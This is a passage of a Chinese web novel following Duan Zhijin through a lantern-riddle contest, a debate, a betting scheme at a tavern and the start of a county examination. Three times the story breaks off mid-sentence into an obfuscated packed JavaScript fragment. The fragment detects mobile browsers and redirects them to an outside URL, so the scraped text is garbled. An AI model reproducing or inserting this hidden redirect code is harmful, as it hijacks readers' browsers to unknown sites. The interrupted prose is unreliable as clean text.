段之缙听掌柜的这样说,刚才又看到了书的内页,自然是恭敬不如从命,因而直接买下了多抄一本书,那姓郑的小哥被夸得脸色红胀,连称不敢当。 拿到了书,段之缙刚才看演义小说的兴致也没了,更想看看这本《百文汇编》究竟是什么样的神书,被这样追捧,再看一看天色,也该用中午饭了,于是拿上东西,吩咐琼香跟马夫去说一句,直接去望星楼用饭。 只是刚出门便有了意外,不知道打哪里来的一个壮汉,从一侧猛地撞过来,段之缙只感到半边身子都麻了,眼珠儿刚跟上那个撞他的男子,就见郑小哥从他身后跑出,一个跳跃把那男人压倒在地,段之缙的马夫侍从也跑过去把人制住。 一切都发生的太突然,等着人都捆好了,段之缙才回过神,想明白刚才发生了什么,再摸一摸身上,却是腰间的玉佩不见了。 “多谢多谢!”段之缙拿回玉佩,俯身向郑崑瑛拱手,“这玉佩乃是外祖所赐,实在是丢不得。鄙人姓段,名之缙,敢问尊姓大名。” 郑小哥又羞臊上了,连连摆手,“哪里哪里,都是举手之劳。鄙人郑崑瑛。” 可他这举手之劳却实在是吓了段之缙一大跳,细竹竿一样的人,那里来的力气,把这样一个汉子都压倒了? 段之缙实在该感谢人家一下,可给钱真是不体面,又显得侮辱了人,因而热情邀请他同去望星楼,郑崑瑛说不过这个商场上死人说成活人的老手,被硬拽着去了望星楼。 望星楼不愧它的名声,无一分恢宏浩大之气,只觉是人间仙境,用的仙童仙女来照顾饮食。 段之缙报了秦先生的名字,伙计就引着他们上了穿月堂。 “鄙人今年四月才满十九岁,不知兄台?” 郑崑瑛低头并腿坐在太师椅上,先是懵懵地“啊”了一声,然后慌里慌张地回道:“痴长您两岁。” 段之缙一笑,口唤“郑兄”,亲自为他倒上了酒水。 “郑兄也是要下场科考的吗?” “正是正是,下个月的县试下场。”郑崑瑛满饮了一杯,脸一下子浮上红色,段之缙自己也喝了一杯,回道:“真是巧了,我们是同一场。” “不是同一场。”郑崑瑛回道,“段弟尚未及冠,考的是未冠题,愚兄及冠考的是及冠题,虽是同一个时间,题目也不一样。” 秦先生光顾着给段之缙讲学问了,这些事儿还没来得及说,今日骤闻此事先是一愣,又面带愧色的说道:“你瞧瞧我,下个月考试了这些事儿还不知道呢。不知郑兄能否教导我一些?” 郑崑瑛本来就是热心肠的人,自然是知无不言,言无不尽。 “咱们是在孔庙明伦堂中考试,但是不知道今年士子的多少,能遮风避雨的座位是得竞价的。还有那桌椅板凳、笔墨纸砚都要自带,一场考试要一天之内答完,官府不提供蜡烛……” 22.第二十二章 猜灯谜 郑崑瑛和段之缙二人在楼上说些应试的东西,不知不觉,时间过的飞快,楼下渐渐热闹了起来,吵闹喧哗之声冲过层层门帘屏风,一直传入耳内。 “下边是怎么了?”按理说这样的酒楼,又是这样人间仙境的风格,该不能让楼下的吵闹声传进雅间,一则是打扰了客人用餐,二则和他们酒楼的风格不适配,乱了这人间静谧之处。 郑崑瑛出声解释,“段弟不知,历年上元佳节,望星楼都会在正堂挂起无数花灯,引士子来猜谜辩论,最顶上的那一盏‘金鳞映月’是鱼跃龙门的好兆头,每年得着这个灯的士子都能在接下来的考试中高中,因而又叫做灯王。原本我今夜也是要来比试一番,看能不能得个好彩头的。” 段之缙兴起了几分兴趣,两个人一起下楼这才看清了大堂中的绝世之景。 穹顶悬着千万盏金玉灯笼,仿佛被揉碎的银河泼洒在檀木梁间。“蟾宫折桂”、“金榜题名”等常见的祝福图案也无甚赘述的必要,最巧妙的是谐音,白鹭立于莲花与芦苇丛中,这叫“一鹭莲科”——一路连科。又有和田美玉被磨成薄薄的一片,雕琢成“杏林春燕”,寓意着提灯之人能有幸(杏)去得琼林宴(燕)。 最妙的是最顶上那盏“金鳞映月”,怪不得年年都能引来无数士子争斗。它通体覆着鲛绡,鳞片皆用金箔点翠,鱼尾卷起处镶着十二枚波斯水晶,此刻被其他的灯光照着,竟在梁柱间投出蛟龙腾空的幻影,只一见,心脏都能快跳两拍。 正当大家的眼睛全盯着那些垂下的花灯时,一个身着簇新石青色长袍的老先生登上大堂中央的高台,手里挂着的铜锣猛地一敲,朗声招呼道:“今年小店还是承蒙了各位照顾,仍在上元节之际举办这花灯会,规矩同往年一样,咱们这儿的花灯分为十等共十个灯谜,你猜中一个便能拿第十等的灯笼,猜中十个便能拿第一等的灯笼,分文不取!” 这些灯笼可不是市面上拿纸糊的灯笼,各个都是真金白银,玉做的灯笼面,价值不菲。 段之缙侧身问身边的郑崑瑛道:“郑兄,这十个灯谜十盏灯笼,‘金鳞映月’该是猜中了十个灯谜便能取得了?” “非也非也!这十个灯谜都猜中了,才仅仅获得了能够争夺灯王的机会,要拿灯王需要辩论,士子们混战,最终胜出的那一个士子才能获得灯王。”郑崑瑛的话才落下,台上的老先生从宽袖中抽出一张纸条,蹙眉看了一番,展颜大笑,“今年的论题可真是不简单啊……《礼记·王制》云''刑人不在君侧'',然齐桓公用管仲,秦孝公用商鞅,此谓遵古制耶?破古制耶?” 竟然是这样啊……段之缙抬头望望那璀璨明灯,响起了之前秦先生说过的话。 好文章是怕无人能识的,若能今夜便把名声打出去,倒是好事一件。 “弟看着那灯心里实在喜欢,郑兄同我一起?” 郑崑瑛本来就有此意,两人携手走入人群中,各自找了一个伙计猜灯谜。 穿着灰白色短衣下裤的伙计从一旁的箱子里抽出一个锦囊,里边包着一叠纸。 “敢问尊姓大名!” “鄙人姓段,名之缙。” 段之缙说完,一个小童便跑了出去,再也没回来。他抬眼瞅瞅那些金玉灯盏,心中只觉奇怪。便是再有钱,这么多的人参加,这么些花灯送出去,一晚上少说几万两打了水漂,这是做买卖还是做慈善?不过,如果这店家如此做的话,倒还真是富贵险中求了……只是这个想法还需要验证,说不定人家便是大善人,要普度众生呢。 “段少爷,我们现在开始?” “请。” 伙计展开第一道题念出,“黄金玉帛镶美景,答一字。” 段之缙幼时经常在灯会上猜字谜,长大之后各地的花灯节也经常参加,字谜算是他的家常便饭,因而不假思索,“锦。”这个题也实在没什么难度。 伙计展开第二题,“范增碎玉斗,张良烧栈道,请答一成语。” 范增碎玉斗,是折碎了项羽的玉章,张良烧栈道是刘邦大义,段之缙想到此处会心一笑,“断章取义。” 这个题已经上了难度,但段之缙也是苦学之人,不会在这个题上出问题。 又接着答了四个灯谜,接连上了机关诗、对联和典故题等,一个更比一个难,看的段之缙也逐渐从一派游刃有余变得犹疑起来,不过好歹答出来了。 周围失败的读书人瞧见这里的段之缙仍在答题,三三两两地围上了,都聚精会神地看着。 第七题紧接着展开,题为:“乾三连兮坤六断”。伙计将字条递给段之缙,“客官,这要答一个卦象,卦象里还要和科举考试有关。” 段之缙苦思冥想,把脑子里的易经翻了个遍,才翻得了一点东西,最后犹疑开口,“只要能与科举考试有一点相关即可?谐音能否算?” “自然是算的。” “震仰盂中兑上缺。” 伙计问道:“这是何解?” 段之缙笑道:“震卦如盂,兑卦上缺,盂中谐音盂仲,意指乡试第二名。” 伙计点点头,又拿出了第八题,一首典籍诗,“孟坚修史继龙门,元亮种豆南山根。若将二子同列传,青史何字可留存?客官,请您答一个科举考试的内容。” 既然已经有了具体的答题方向,段之缙先把脑子中有关科举考试的名词快速数了一遍,灵光一闪道:“策论!” 伙计看一眼答案,喜笑颜开,“对对!客官能讲讲如何解的吗?”几个读书人交头接耳一番也还是不解,都竖起耳朵听。 段之缙答道:“班固字孟坚,著《汉书》重策,陶渊明字元亮,《归去来兮辞》含论,合为‘策论’。不过我这也不全是根据诗来猜的,而是先觉得‘策论’靠谱才往诗上贴的。” “即便如此,兄台之大才也叫吾等佩服啊!” 几人诚心夸赞一番,第九题紧跟着展开,伙计又打开了一张新题,笑道:“这题是一副对联,要求上联答一字,下联答一字。上联为‘黑不是,白不是,红黄更不是;和狐狼猫狗仿佛,既非家畜,又非野兽’, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955277|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下联为‘诗不是,词不是,论语也不是;对东西南北模糊,虽为短品,也是妙文’。” 又是字谜……段之缙埋头苦思,周围的人也窃窃私语,相互讨论起来。 黑不是,白不是,红黄更不是……这一句可以说明是颜色。 何狐狼猫狗仿佛,但又不是动物?难道是都有反犬旁? 反犬旁加上一个颜色……猜! 按照这个思路来的话,下联所说之字该有言字旁,对东西南北模糊,不就是“迷”了嘛! 段之缙在旁人冥思苦想之际扬声道:“上联为‘猜’,下联为‘谜’,这副对联的答案就是‘猜谜’!” “对了!”那伙计看着就剩最后一道题,也跟着与有荣焉地兴奋起来,竖起了大拇哥,“客官,您真是这个!这都九道题了,说不定小的我运气,今年跟拿灯王的大才子说上话了!” 周围看热闹的人越围越多,大家嘈嘈切切,打听着这个脸嫩的小年轻是谁。 最后一题来了,伙计将题目直接递给了段之缙,提醒道:“客官,这最后一题是要对对联,没有固定的答案,但是有两个要求。第一,上联的第一个字拆开就是最后两个字,下联要同此一样。第二,上联的第二、三两个字合起来是第四个字,下联也要同此一样。” 段之缙接过纸条,好悬没倒吸一口凉气,周围凑上来的读书人看了纸条,如同滚锅泼进了凉水,沸腾的气氛一下子凉了。 上联是“妙人儿倪家少女”,若想按照要求对出来下联,这可不容易。 “李小子孙男是子……”有一读书人喃喃出声,很快摇摇头,自己否定道:“不对不对。” 另一老者摸摸脸上一把的胡子,“钟山寺峙金之城?不行不行……”刚说完,也是自己先否认了。 不过他这一句,却给了段之缙一点启发,“伙计,请问这第四个字一定要是姓氏吗?” 伙计回道:“只要能满足刚才那两个条件即可。” “那‘武士心志在止戈’可行!” 还不等得伙计说话,方才在台上宣布试题的老先生先走了下来,大赞道:“好好好!妙对!看来我们第二位十个题目都通过的才子已经出来了!不知您是否意在灯王?” 段之缙没有出声,顶着千万盏灯放出的耀眼的光往上方看去,光影璀璨之间依稀看到了一个个晃荡的人影,倚着楼上的围栏,正凝视着底下猜谜的读书人,他们的神情却如何也看不清了。 那老先生见他不出声,连忙劝道:“您可千万别犹豫,即便拿不到那灯王,也能拿一盏一等灯,价值一千两银子。若您真是大才之人,能得我们那一盏灯王,这可是价值一万两的灯!” 段之缙看了看在一楼二楼跑上跑下的伙计,心下冷笑,“怪不得年年办这个灯会啊……果然不是白把真金白银撒出去。”他招来机灵些的王章耳语了几句,王章听着他的吩咐,震惊地瞪着眼睛,被段之缙推出去办事。 段之缙这才朝着那人一拱手,“那在下便恭敬不如从命了。” 23.第二十三章 酒楼之论 段之缙应下了老先生的邀请,提着袍子走到高台上,顶部灯光更为刺眼,叫他视力晃了一下,闭目醒了醒神,这才发现台上已经站好了一个人,正是郑崑瑛。 “郑兄!早有预感能在这儿与郑兄会面!”段之缙也是见着“老熟人”了,上去拉他的袖子,郑崑瑛看着他倒是吃了一惊,他性子又直,不会虚情假意地客套,用现代话说就是没情商,竟然直愣愣地来了一句,“段弟,我是真没想到能在这儿看见你。” 段之缙并不介意,也不去深思什么,只笑着回道:“说实话,我自己也想不到啊!怎能料得有如此的造化,跟郑兄同台。” 郑崑瑛虽然不会说话,心地却是良善的,很愿意见别人好,因而此时也是真高兴,拉着段之缙说起了刚才灯谜,两个人热火朝天地讨论着,不知不觉,台上已经站定了十余个人,台下猜灯谜的活动也停了,所有人的目光都投射到高台上,等着老先生宣布开始。 老先生又砰地一下敲在锣上,原本还有些私语的台下霎那间安静下来,他脸上挂着一个春风和煦的笑,拱手施了一礼,“老朽也是长见识了,今年竟有十三位才子同登辩经台,不仅是我望星楼之大幸事,更是安平县,乃至德平府人杰地灵、学风昌盛之故。老朽,与有荣焉!” 这是做生意会说话的,一番慷慨陈词,台下已经掌声如雷鸣,读书人们也纷纷叫好,着实闹腾了好一阵。 老先生转过身来看着各位学子,“今年的辩题为:《礼记·王制》中的‘刑人不在君侧’。给诸位一刻钟时间思考,一刻钟后一声锣响,请各位分成两队,站在‘支持’和‘反对’两个木牌之前论述此题,胜利的一队揭晓下一题,做一篇文章出来,用时两刻钟,由大家评选,得票最高者即可获得我们今年的灯王!不过还需要注意,第一次说话之前还请自报家门。并且若是一句话不辩,可是直接算输的!”他说完了规则,就提着锣走到了台下,将思考的空间留给台上之人。 刑人不在君侧,出自《礼记·王制》,全文是“刑不上大夫,礼不下庶人,实际上是一种尊卑等级秩序,强调的是用过刑的人,不能再侍奉君王。简而言之,就是犯过罪的人,能不能再入朝为官,治理天下。 段之缙分析了一番,已经有了大体的思路,选对了自己的站位,等着再一声锣响,向“支持”的木牌走去,此时手上感受到了一丝阻力,回头一看,便见郑崑瑛那张有点憨气的笑脸。 “段弟,看来我们想的是一样了!”段之缙见又和这个刚认识的人一块儿,也觉得十分有缘。 两人贴着在“支持”字牌前站定,其他的士子也都选好了站位,他们这边不容乐观,共十三个士子,竟只有五个人支持。 又一声锣响,辩经正式开始。 反对者中走出一人,朝着台下施礼,“在下周知仪。”然后转向他们这小猫三两只开口道:“《尚书》云:’改过不吝,从善如流’。人孰无过?关键在于能否知错能改。若触犯刑律的人真心悔过,且有才干可为君主所用,为何要因其曾经之过错而将其拒之于君侧之外?” 段之缙这边也走出一人,朗声道:“在下夏明,敢问兄台,你能隔着肚皮看透人心吗?” “这是何意?” “字面意思,兄台如何保证这些曾经作奸犯科之人是真心悔改?” “这……”周知仪尚在踌躇,另一名为王铭和之人站出,拱手笑道:“兄台未免太过偏激了,受刑之人不仅仅只有作奸犯科之人吧?若管仲之人,若说他为作奸犯科,不若说他选错了孝忠之主上,也算是食君之禄,忠君之事。连圣人也说过,‘微管仲,吾其被发左衽矣’,我们这些人,都要成为蛮夷了。齐桓公不计前嫌,任用管仲为相,这才有了齐国的强大,成为春秋一霸。再有,若如孙膑、太史公之人,若如兄台之言,岂不是应当不见天日才好?” 他这一番大论,引得台下之人连连点头,拍手称赞者亦不胜枚举。 与王铭和观点相同之人乘胜追击,几乎要将这辩题说到极尽之处,再也没有能够辩论的余地。而支持“刑人不在君侧”的士子们一个个冥思苦想,似乎已经认输。 段之缙已经听完了那边的观点,组织了一番言辞正要开口说话,旁边的郑崑瑛先上前一步,“在下郑崑瑛,敢问对面的兄台,刑人为何意?” 此言一出,哄堂大笑,之前有一位名为“刘荣庆”的士子出列答道:“刑人,有三解。一解为触犯过刑律之人,一解为受过肉刑之人,还有一解是指宦官,因受过宫刑,所以称之为刑人。” “想必兄台是极为愿意和宦官一起同朝为官的了?” 刘荣庆仿佛受了奇耻大辱,脸胀成猪肝色,振袖一挥,怒道:“岂有此理,宦官怎能干政!你不要在此地说笑!吾等所指的刑人,定然不是指宦官!” 郑崑瑛了然地点头,“那一定是指触犯过刑律之人,或是受过肉刑之人了?” 对面的人互相商量一番,最终还是点点了头,不过仍是补充了一句,“并非大奸大恶之人。” “何种为大奸大恶,何种不为?何种肉刑不是因触犯律法而实施的?” 对面的人哑口无言,王铭和思索了一番,出来回道:“生民所触犯的律法,也要分为两类,一类是如杀人、纵火、强盗等,谋财害命或是反抗朝廷,这人心里都黑透了,不可再用。还有一类却是如管仲之罪,虽也是罪过,但并非谋财害命、并非悖逆君主,只能说是各为其主,其情可悯。像这般人,若是有大才,为何不能常伴君侧?” 郑崑瑛正在思考时,段之缙终于开口,“在下段之缙,敢问兄台,管仲是无罪之人吗?” 王铭和仍是那一句话,“其情可悯。” 段之缙失笑,“临阵脱逃,是否为罪过?想要射杀齐桓公,我们先不论齐桓公的贵族身份,他想要杀人,是否为罪过?” 王铭和:“自然是罪过,但管仲有大才,司马贞曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958964|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞许他和晏婴二人,‘夷吾成霸,平仲称贤。’即便私德有亏,比起他们的功绩,这也不算什么吧?” “兄台这就是后人之见了,请问齐桓公留下管仲之时,能够预见管仲能助他为春秋一霸吗?临阵脱逃,对军前士气的打击,难道还要我为兄台细言吗?管夷吾为助其主上称王,使得公子纠险些以兄杀弟,造成人伦惨剧,这也是其情可悯吗?” 对面的王铭和垂首不言,台下之人或点头赞同,或撇嘴表示不屑,各有各的想法,有着急的人大喊出声,催着王铭和应答。 段之缙乘胜追击,“在下细思兄台之言,不过是应了‘刑人不在君侧’的前一句话,‘刑不上大夫,礼不下庶人’。管仲为一代名臣贤相,即便是犯了罪也有兄台等为其辩白,道一声其情可悯,若此人不叫管仲,名为张三、李四、王五,兄台还能说一句其情可悯吗?还是恨得咬牙切齿,称之为临阵脱逃、悖逆人伦之大奸大恶之人?孰不知秦之强,正在于‘法不阿贵,绳不挠曲’。” “好!”这一番论述叫众人议论纷纷,拍手叫好,段之缙朝着台下再施一礼,回到原处站定。 这一回,这论是真辩完了,对方哑口无言,垂头丧气,这边有一个士子还没来得及说话,可现在理已然说尽,他也是自尊自重之人,断不会现在插上一些口水话,保住自己的名额。 老先生再次敲响了铜锣走上辩经台,这一场辩经就到此结束。 “真是大开眼界!”他弓腰朝着台下大声疾呼,“果然英雄出少年啊,本以为反对者人多,赞成的小友们该有一番苦战,然后力有不逮败下阵来,没想到反败为胜,赢下了这一场辩经,真真是叫老朽我开了眼界啊!” 底下人也不断欢呼,明明是寒冬腊月,虽说南方不如北地干冷,但也是湿寒难耐,此时的楼内却是一片热气腾腾,连着顶上的花灯都在旋转,“金鳞映月”的灯王闪耀出那一条蛟龙,在雕梁画栋间飞舞穿梭,震荡人心。 “现在辩经台上还留下四人,正是段之缙小友,郑崑瑛小友,夏明小友和钱治平小友。下一个题目为‘重本抑末’,只不过此次题目要求是,写文以驳斥‘重本抑末’!” 老者尚没有说完,底下一片哗然,“重本抑末”是圣人教训,道理已经说尽,不应再辩了,况且这是朝廷政令,也轮不到他们这些没有官职的读书人在此大放厥词。 底下已经有人心惊胆战,怒嗔道:“你们这是什么意思?‘重本抑末’乃国法,岂能驳斥!” 老者哂笑,“大家先不要着急嘛,这是县令大人出的题目,最后的文章不仅要给各位看,还要呈给县令大人看呢!不过,若是台上诸位不敢,那可自行下台,只可惜今年的灯王,恐不能归于贤才了……” 段之缙是为求名,既然文章能给知府看,他自然愿意。郑崑瑛是奔着好彩头来的,自然也不会下台。夏明也是为了这盏灯来,那钱治平却不敢做此种“悖逆”之文,大袖一挥走下高台。 24.第二十四章 如今台上只剩下了三个人,一个段之缙,一个郑崑瑛,一个夏明,每人都要在两刻钟内做出一篇文章,专门驳斥“重本抑末”。 这题目说来简单,似乎只要驳斥即可,但问题在于这些书生苦读多年,学的就是“重本抑末”、“重农抑商”的道理,已经吸烟刻肺不容辩驳了,如今叫他们违背自己的内心写一篇驳斥之作,谈何容易?便是段之缙这种没有思想钢印的人也不容易,原因很简单,你得用四书五经来驳斥四书五经,自由发挥只会被打出去。 段之缙仔细回想了这几个月学到的知识,将有关商业的内容都挑拣了出来,思考了大概半刻钟,这才下笔。先拿朱子的言论起头,说明先哲并没有否认商业的作用,然后讲《中庸》里的“万物并育不相害”,可以说明“农”“商”二道并非是对立存在,完全可以共同发展。最后用孟子“通功易事,以羡补不足”之语结尾,说明商业的价值,义利统一的理念。 他下笔如飞,在一声锣响前仅剩的不到二十分钟里写了六百余字出来,卡紧了最后一刻停笔,最后吹干笔墨,将文章交上。 其实此刻,最终胜利者是谁,大家已然心中有数了,就在段之缙和郑崑瑛二人中出,只因夏明思考的时间太长,没有在规定时间内做完文章,已经悻悻地走下辩经台。 那老先生先接过了郑崑瑛的文章,捻须品读一番,大喊三声,“好!好!好!”他对翘首以盼的众人赞道:“这位小友当真是了不得啊!待老朽为诸位念来。” 老先生是有几分功力在身上的,文章读得抑扬顿挫,动情处似雨打芭蕉,珠玉迸溅,五分的文章也能读出来十分的妙处,更何况郑崑瑛的文章本就如高山流水,一泻千里,其笔力之深厚,不是段之缙能及的。 但是郑崑瑛还是输了,原因就出在题目上,“重本抑末”之政虽有种种缺陷,可要想写好,便一定要真心觉得“重本抑末”为弊政,这才能找出其不足之处,论得有理有据。可惜,在场的诸位读书人,恐怕也只有段之缙一人是真心在抨击“重本抑末”,辞藻虽不如郑崑瑛瑰丽非常,读出来也是金声玉振,激荡人心,说理也十分透彻。 待老先生读完了段之缙文章,台下读书人已经围绕此文展开了激烈辩论,一时片刻竟然也停不下,还是老先生敲了一声锣鼓这才安静下来。 “老朽活到了这把岁数,驳重本抑末还能驳得头头是道的读书人还是头一回见,果然了不得。敢问小友是哪里人氏?” “在下是京城回原籍参加县试的读书人,不值一提。” “小友太谦虚了。今年这盏灯王非小友莫属,价值万两。老朽先在这里提前恭贺小友县试得中了?” 段之缙道谢,将取下的“金鳞映月”递给了已经兴奋到满脸通红的琼香,然后装作不经意地问道:“老先生,您一晚上送这么多灯出去,得多少钱啊?” 那老者自得一笑,“十等的灯做五百盏,依次递减五十盏,灯王一盏,总计白银十万两,只多不少。再加上举办活动的耗费,一晚上还要再加一千两,总计十万一千两白银!”此话一出,一片哗然,都对此大手笔瞠目结舌。 “你们主人家一定是巨富,不依靠酒楼赚钱,才能如此慷慨,每年撒这么多的真金白银出去。” 段之缙只不过吐了一句平常话,老者笑容却僵住,讪笑道:“我们主人家感念这么多年来诸位的照顾,这才花此重金为大家欢快一晚,也是附庸风雅之意,倒是没有别的产业,用的都是每年酒楼的收益。” 读书人们纷纷称赞酒楼老板的慷慨大义,段之缙但笑不语,待灯一个个取下后,他再次抬头向楼上望去,之前模模糊糊的身影已经消失不见,似乎从来没人来过。 怎么,看热闹的人,热闹还没有看完就走了?未免太奇怪!即便是现在没了比试,也不该走的一干二净啊。 再者那老者的话里也是漏洞百出,十万两银子可不是小数目,一个再高端的酒楼,他又不提供住宿,又不是连锁,如何能一年赚出来十万两银子?即便全是达官贵人来用餐,他一年赚出来了十万两,如何就真的那么慷慨,一夜之间全送出去? 这到底是赚钱,还是在做慈善…… 一个想法亟待验证,段之缙不做停留,和郑崑瑛告别后匆匆走向自己的马车,也没有看见大堂西北方隐蔽的角落里,他的授业恩师秦先生正陪着一个中年男子吃花生米,还时不时地喝两口小酒。 “怎么样?我这个徒弟不错吧?”秦先生自得道。 “马马虎虎,脑筋转得倒是挺快,文章可不如郑崑瑛。” 秦先生呸了一声,假嗔道:“偏你挑三拣四,缙儿文章也就是只次于郑崑瑛罢了,比之其他人还是要略强些滴。” 对面那人摇摇头,“你没忽悠我吧,他真是全忘了之后才又学了七个月?” “咱们俩啥交情?我忽悠你能得什么好处?” “那他也只是占了脑子活的好处,科举没有一场会叫你驳斥‘重本抑末’。” 秦先生嘬了一口小酒,“你就说他这样的能不能得中吧。” 问到了关键处,对面的人却不说话了,一个劲儿地劝酒,秦先生也不强要一个答案,两人仿佛无事发生,一杯接着一杯地喝。 那边段之缙已经走到了马车旁,王章一脸正色地点头:“不出二爷所料,这家酒楼就是在开设赌场。小的出去之后,见有几个打扮极为类似的人往返来回于酒楼和对面的茶馆之间,不像是正经的客人。后来小的见一个中年男人被扔出来,给他使了五两银子,他说里边在设赌局,赌谁能赢得灯王。” 果然如此!段之缙心下冷笑,又问道:“刚才你可曾见酒楼中出来一些锦衣华服之人?我总觉得这望星楼楼上也应当开设了赌场。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964848|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王章连连称是:“外边的光不那么刺眼,小的看得清楚些,那楼上好些老爷呢。之后小的爬上了那棵老槐树往里头望,一块木板上用白垩写了好多人的名字,那些老爷指指点点,猜着应该是在下注。但是他们都不曾出来。” 怪不得啊怪不得,上来就先问问你姓甚名谁,那小童知道了答题者的名字跑得比兔子都快,原来是赶着传递消息去了。还有那老先生,人家参不参加最后的比试和他有什么关系,倒是先急了。 原来是少一个人参加就少一个赌注,少得一笔银子。 开酒楼,一年辛辛苦苦的,能赚几个钱。不如开赌场,他一晚上下十万的本钱,引得楼上那些人做一场风流豪赌,不知能套出来多少的银子,也只有这才是一本万利的买卖,比酒楼来钱快多了。 怨不得人家说,赚钱的法子全写刑法典里呢,到了古代也是,能赚钱的路子都在《大雍律》里头。 只可惜这些天真的读书人,还不知道花灯绚烂的灯光之下,满是蛆虫和烂泥,达官贵人把他们当成赛马场里的马,在这儿试脚力呢…… “拿好了这价值不菲的金贵东西,咱们回王家吧。”段之缙淡淡地吩咐,哪怕得了这盏灯也无甚了不起的,可恨自己今日当了一匹“好马”,不知道叫多少人一夜暴富,又叫多少人家破人亡。 马车从哪里来回到哪里去,王家人已经接到了消息,得知段之缙过五关斩六将,竟然得到了今年望星楼的灯王,一个个都兴奋的得睡不着,王老爷更是直接把他叫去了正堂,说是要问些话,实际上只是要稀罕他一番。 王元浩满意地捻着自己的胡须,“英雄出少年啊,你小小年纪,还尚未及冠就能取下来这盏灯王,我看今年县试和府试,乃至明年院试的案首都得你来做了。” “外祖父过誉了,缙儿能有今日,都离不开母亲和秦先生的教导,也离不开外祖多年的支持。” 高帽子一带上,王元浩就哈哈大笑,“也是你争气!像你的那些舅舅、表兄弟,一个个都是蠢材,便是请了名师来教导,也没什么长进。” 话说到这个地方,段之缙可不能接了,他端坐着喝水,只当自己没听见,问起了今天望星楼的事情。 “外祖父知道望星楼的主人吗?” “知道些,他似乎是十几年前从京城来的,身后背景大着呢。” “从何说起啊?” 王老爷饮一口清茶觑他一眼,“问这作甚?” 段之缙掩饰地低下头,貌似无所谓地回道:“只是惊叹他们每年拿出来十万两银子打水漂,未免太过豪横了些。” 王元浩哼笑一声:“这里边的水深着呢……十几年前,望星河边的望星楼可不是这一座,原先是一家六口在经营,祖上传下来的,朝代更迭都没让战火淹了,结果京里的那些人一来,这一家六口就不知往何处去了。” 25.第二十五章 参加县试 外祖所暗示的那些深水潭中隐藏的冤情,段之缙记在心中却也无可奈何,目前而言,最大的事情就是一个月之后的县试。 倘若县试中了,一切好说,便是之后的府试没中也算有了个交待。 倘若县试没中,段之缙又有何面目去见同他一起苦熬了七个月的先生,又如何回京去见太太,见姨娘和蘋儿呢?因而在县试时间公布前抓紧了每一分每一秒,除了吃吃睡睡就是“之乎者也”,不敢放松分毫。 县试的时间是于正月二十一日公布的,因今年比往常冷些,所以考试时间也推的晚,二月二十三日才考,正好考四日。 这天里,秦先生刚得到了消息便催他去县衙报名,省得误了时辰。 段之缙听着秦先生的叮嘱,突然一怔,问道:“先生,我等会在县署礼房报名后,是当场抓五个人互结吗?” 秦先生脸上几乎要掉下黑线,无语道:“等着你想起了这个事儿,黄花菜都凉了,先生早已经为你安排好,都是你外祖家资助的士子,正好你们五个互结。廪生孙九思先生为你们保结。” “可我不认识他们啊?” “琼香认得,带着琼香一块去。”说到此处,秦先生还十分恨铁不成钢:“你长着一张嘴,便是都不认得,就不能张嘴问问吗?!老大不小的一个人了,怎得如此稚气?” 段之缙尴尬地摸摸鼻子,这也实在不怪他,这七个余月,几乎没跟外人打交道,天天泡在书堆里,脑子木一些很是正常。 等到了署礼房,堂内已经乌乌泱泱全是人了,琼香领着段之缙往西北角走,果然见四个人聚堆凑在一起,一见琼香便笑着迎上前。 “老爷们,这是我们二爷段之缙,此次考试与老爷们互结。” 段之缙拱手施一礼,对面的四个士子也客气地回礼,“久闻兄台大名,当日上元佳节,兄台所作雄文我等自愧弗如啊。” “哪里,都是班门弄斧罢了,登不得大雅之堂。” 这几人客气一番,又去找了孙九思先生,这才一同进入堂屋,当场填写姓名、年貌和三代履历,交纳了卷价钱后,直接各回各家。等着再一次相见,却是县试当日了。 前一日段之缙早早睡下,子正时分就被催着叫起,琼香和王章二人为他梳洗了一番,又把笔墨纸砚收拾妥当,这才乘上马车来到孔庙明伦堂,县试正是在此地进行。 王章和琼香二人分明比段之缙小,现在却跟两个哥哥一般,一个接一个地把秦先生叮嘱的事情又重申一遍,最后把几张银票塞到了段之缙怀中。 “二爷,今年考试的人多,明伦堂内坐不下,衙役们等会儿分座位时您好好看着,好的座位是堂内正中间的那个。四周都是人,能挡着风,又离着前边供给圣人的香火远,呛不着。等着衙役们叫卖的时候,您就出价,多少银子都出得起。” 县试一向是乱得很,连个考号都不排,坐哪全凭衙役的心意,反正县令老爷等着人都坐好了才来。便是他提前来了也不会阻止,因为大家都指着这笔钱穿衣吃饭呢。 段之缙也不是什么愤青,没必要在一穷二白之时和这些有所依仗的人对着干,接过王章背上的小木箱就进了场地,等着衙役们点名排队入内。 